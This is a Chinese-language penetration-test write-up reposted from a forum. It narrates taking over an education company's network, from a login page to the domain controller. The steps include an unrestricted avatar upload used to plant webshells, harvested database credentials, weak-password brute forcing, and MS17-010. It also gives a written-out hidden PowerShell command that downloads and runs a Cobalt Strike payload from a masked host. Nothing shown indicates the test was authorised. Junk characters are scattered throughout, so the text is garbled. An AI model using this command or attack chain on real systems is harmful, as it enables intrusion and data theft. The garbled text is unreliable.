|
) O6 p. `3 e8 D 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
9 s2 R$ f) C6 j6 N3 Z- R: N. P 8 T% P$ L; ]( Q$ n/ j) H
6 _) r9 | E& s% f8 P% L
+ N1 L, F* K& Y6 H, k + i7 h5 c' `2 {" g$ o2 S
/ d: m6 J1 n+ m& C- M 正文
( V0 l4 ?1 l% C0 U' ~6 F( z1 m: T
( H: }2 d h2 n4 J9 g9 x5 Q4 I( d% W. W8 g5 w" R
9 G, C8 @- {8 m- q! k6 ]
# Z8 n8 c( X4 E$ V
7 r" z& ]& u& o% g. y) z6 c* [
目标:www.xxxx.com(一家教育机构)
5 P! a7 b v- S5 B8 F* g打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
3 n1 t4 v0 h$ C, ~ % i% Z0 e8 n1 v2 W4 A0 O4 m
) K; \! q% E z! K* ?0 e1 e
" m' V4 o; ~6 D" {# o# P # e$ P, l" L# W7 O! L
# Y$ _6 U. ?& x, x; y% I# E% v 进行了简单的信息搜集 6 P: ]2 D' G" L) U; y, K
8 ?; i" _% D9 K3 _+ C6 a" j5 O" a: A- F" \/ q$ F6 Q V0 {) \( [1 Z
/ R& t! H, R7 F2 o/ J, K6 M
$ M- r' Q+ I8 |, `' ?$ Y
子域名搜集) F+ C1 F$ G: u+ `' K" k
% {2 ?" t/ q! I" x! H) ~) s9 V3 A7 h* E6 b; v* q+ n4 M
+ u% X* f( a) d: P' G0 p6 y- G
; Y' H: k4 V& C, x/ S
l; C& p1 }9 S' K; ^6 a' c! r8 ~& j
fofa找资产
* L6 D) C( z0 E C! M* S4 ]+ U
/ A8 s- E" n) M8 ?8 X& R1 s! ]- T* x4 a: s8 q
* H; C |( u5 p- q) S) z4 E3 v8 g) z( V% S d, D2 X1 [0 K
: c/ p6 j7 T4 l h6 b4 q! H8 g
% j% V0 O) |1 V
# x5 Z! g5 i% M
一共七个资产。去重之后只有两个。
, m5 j3 C% z( @* P2 o& u; E 0 f" }" F7 T: u" K* k7 m+ L2 a! o
3 z4 b, u3 W( p4 o( S% a
$ d% j, i# t$ H; J! e. H
7 u! `! j6 S0 k 目录探测
5 w9 x1 j$ y# |9 `! P6 j9 s 3 a( f: K* o, b4 ~4 U, J/ @
$ }* l1 ~% F+ a$ e2 a5 Q
, H, ]" p1 @2 o/ u % n' q4 j" }: D' R( }
5 V& n# ?( [4 {( \' E
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
/ W. E) ?. Z5 H. Q
x+ g8 f9 h: l! b8 f/ Q2 E- s; e' r! U. ]/ v! ?, h: G9 E; F
8 N. C& l* z/ t+ q7 |! W
8 X) X# ?! Y( E' @ N$ P& z: \
我又尝试了通过修改返回包来绕过登录界面
7 H4 R: |6 G1 f( Q- b4 f5 e 7 n% u, [4 _: j0 w
P* T3 ^( x/ U' U { * W9 }2 X! A4 ?9 J
! y, Y# b3 e! |/ n
9 z5 ?! K) Q- z% K) N1 _. x! Y5 h% X 还是不行,尝试注入无果
2 U% Y7 h: t% {. W1 A3 {! L$ h: v
' X4 t2 Y, a2 v+ j+ O: I* H# k& V2 {# R d5 G" Z
0 L! P7 b8 v; M. l1 N8 t) O' H
+ x4 n5 s# H2 x" `4 s0 N, Q3 y. ~& |- ~' r9 N; v4 Z# e: q+ X, y8 K- h; e
不过我目录探测出了一处Spring信息泄露 - S ^& C, D: F* e2 ~- ^
+ C& x1 n- Z) X/ D* ]1 W8 h, U$ U2 W" x. k5 t7 O# q
& ?7 Z3 ]9 \5 u( G K- E) N# u5 Q3 E, i: p
1 w( z0 U# }* j, o! N: X t
% X) |* j/ x) g
' A( r% b6 q) }" Q! a3 ? 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录8 H6 r- C1 W, W( e5 N! T* ~/ T
' h% s- r$ d0 Z4 N: Q$ N6 E$ E8 L5 ?0 k
$ @5 m" G3 S( z% Z% K* @
) R0 `6 ], S q0 m; c* i
7 C& N7 }0 _0 ^6 }9 x: {9 m' x 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。9 @1 L) l, E! s: k
* `% G. p; ]+ e* j3 C( ?
1 j9 g( ?7 Q7 K+ p 2 P( W5 Y9 w' m9 R2 i
: X9 o: ~6 {) d. C
: n( _& I0 u$ m5 U( _, M 获取有些师傅到这一步就手机抓包电脑测了。# p1 q! e5 n; ?* T3 |
2 L; G O. x6 ^
8 ]1 s( Z$ o) { Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。
# P$ x6 F6 o8 j5 b " Z# _$ l! n8 b2 S+ M0 E) H
8 I2 T5 X4 o5 J8 `5 J9 K: ^ 其中在一个公众号发现了小程序,可以进行注册。* S) @- o4 h+ v2 ~* {8 R
& V" X& w) V+ S$ h
3 d% O# Z" B7 l3 N, | 看到了头像上传,尝试上传获取WebShell
0 Z* |- R3 I9 N/ ^* b
& ]6 a$ L1 c5 K! R6 J0 M
1 c; q8 _7 X: @# s7 y- W # z: r: U3 w" w+ ^) j8 b7 e
o: y3 L' ]+ G' @% w
$ A! S& q& N1 D6 l 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问
" E! m5 g% C# J ; W' D5 x% d( p) l% J1 x
# F5 c; {# @. S, ~
' W/ n2 G; r. n5 b6 y' o5 _
/ e+ x' B+ k# l, M) `
; ` y" m! J% Z+ a) I2 V 然后上了大马) T6 V: D4 @4 w/ E5 U( a
* I( H M) V1 {
. R t1 j8 g( `
* s8 ^( F7 x3 O5 G7 A( @) S ! ?& [% a3 P/ o, \- W4 G
- i2 S I. c/ A% R1 j1 s2 n 7 |. Z8 |0 w4 u. o4 W
# W: Y. u/ w& } ^* q. W/ U T5 t6 T; o
$ \5 D- U& _8 D1 n, e
通过翻找文件发现数据库账号密码
6 H' B8 R1 q& c U/ u
4 L2 ^. K; N; ]& y$ k. e# R/ @2 |5 D( d3 Q" h7 k
% H( u, U- N; N \: J% R/ H
" D9 \3 h6 }$ m" {9 Y, D% _! }
! b% d4 z- o" L0 b9 d1 A3 N --内网渗透
: L: g! Y! K: \ / l0 \6 @0 R; H3 U7 [* x; a: w
. W; [) G ^: }5 w. ]7 ^. j 直接通过powershell执行 cs上线 H( H, n5 }/ a1 i7 Z1 Y f
! K+ f2 _1 e8 L
% @" b6 A& y4 \/ x powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"* G' {) d2 G5 K1 P: a0 X, |5 |
; r# C, r8 j1 t
/ D$ M& R$ L) }+ d; K q
; L! @8 N! H, O5 [5 A
; x1 h+ O- |- H' h4 p% f. e. N/ n4 m4 F$ U* P& e
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 P" @ C5 \0 @$ F4 }
' J$ D# Y! z0 a9 p0 W! r( E5 e0 Y4 F7 B1 y; |/ Y+ X. }. H% x
3 a3 ^ }/ I( R$ ^, s1 {
/ Y' [2 T9 [$ Z5 t2 c
/ @$ b8 Y" X: [' E7 x 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
, T& b! f( j$ o# v1 D9 z5 h
( X1 B0 N1 N6 x/ N2 b
+ q f1 P3 x0 Y! i1 e6 J. N' Y/ h( w: a Y6 S
% t3 K n, u' z' t) x# z( w
& a4 Y' A h# n1 S- }8 w2 Y# o
# a0 A& H% I; l7 T! v7 e8 s$ M, b
# ~( A* Q; \) s# ~
( i4 [ f. o- I 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭 % X- W5 @. T P+ _ S9 A
% b P O+ x( V% g2 q
) M3 [" v( m& k; Z3 d, I- a
- G) m) s G5 a& ?7 N" V, G# X; J0 Y
2 C* I/ W* _5 B. F
- P" @6 n8 C/ w/ v; f. X& ?; m
8 i. Q d# d4 f , h6 z3 p0 w( U& X, m" l+ b
' |% R* {8 J2 j3 i8 t, v1 {# K
+ |5 @6 q) V2 h
6 R+ x9 x. f6 ]. W
6 J- I$ g( C9 c
- f) \# {6 l! a+ i0 x4 @
. C' L. G9 v+ z$ t1 Y; f$ P
) J h8 |- @, f$ {. z2 T0 Z2 A9 v 小结 e# v& P7 B; J8 m! h
6 e0 o1 g. r, ?2 V ^$ O
1 x% f: N- v8 C, k6 }3 ^2 s ; I M. t g, E" l7 |5 r) [" s
8 {% P0 G }, B
$ V2 F* Y" e. y. B
在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!
/ f8 A8 [6 X* e+ `5 P 8 z. u. I! H# s1 W
5 y1 h% e& O, U2 C7 K8 _/ |
; i# [0 }3 t s$ \6 y I- s; B- S 8 J c$ a' D$ u( _0 B7 h; J5 ]
9 q+ O5 x" _' f- \0 _- s0 o: _) O -
. T, T9 W6 l+ M# D4 p
( w) j4 l; |+ }& A5 ?6 h
( ?+ L. A+ `+ b/ ?6 t4 Y
-
( t7 L2 i' w( F/ D: u/ N ; `$ S( c3 l, c- h
; n9 \) G9 ~7 b# n" D
2 l3 M9 Q5 [: F# x3 e8 Q6 k8 V! A2 U. m, p' u+ ^# l( r
作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
+ Q* Q0 U% {" B7 Y) g g3 Z : T- u$ {+ w" i! @4 c6 A
# {% q+ ?# B+ z3 P
4 [ S3 @2 F6 m |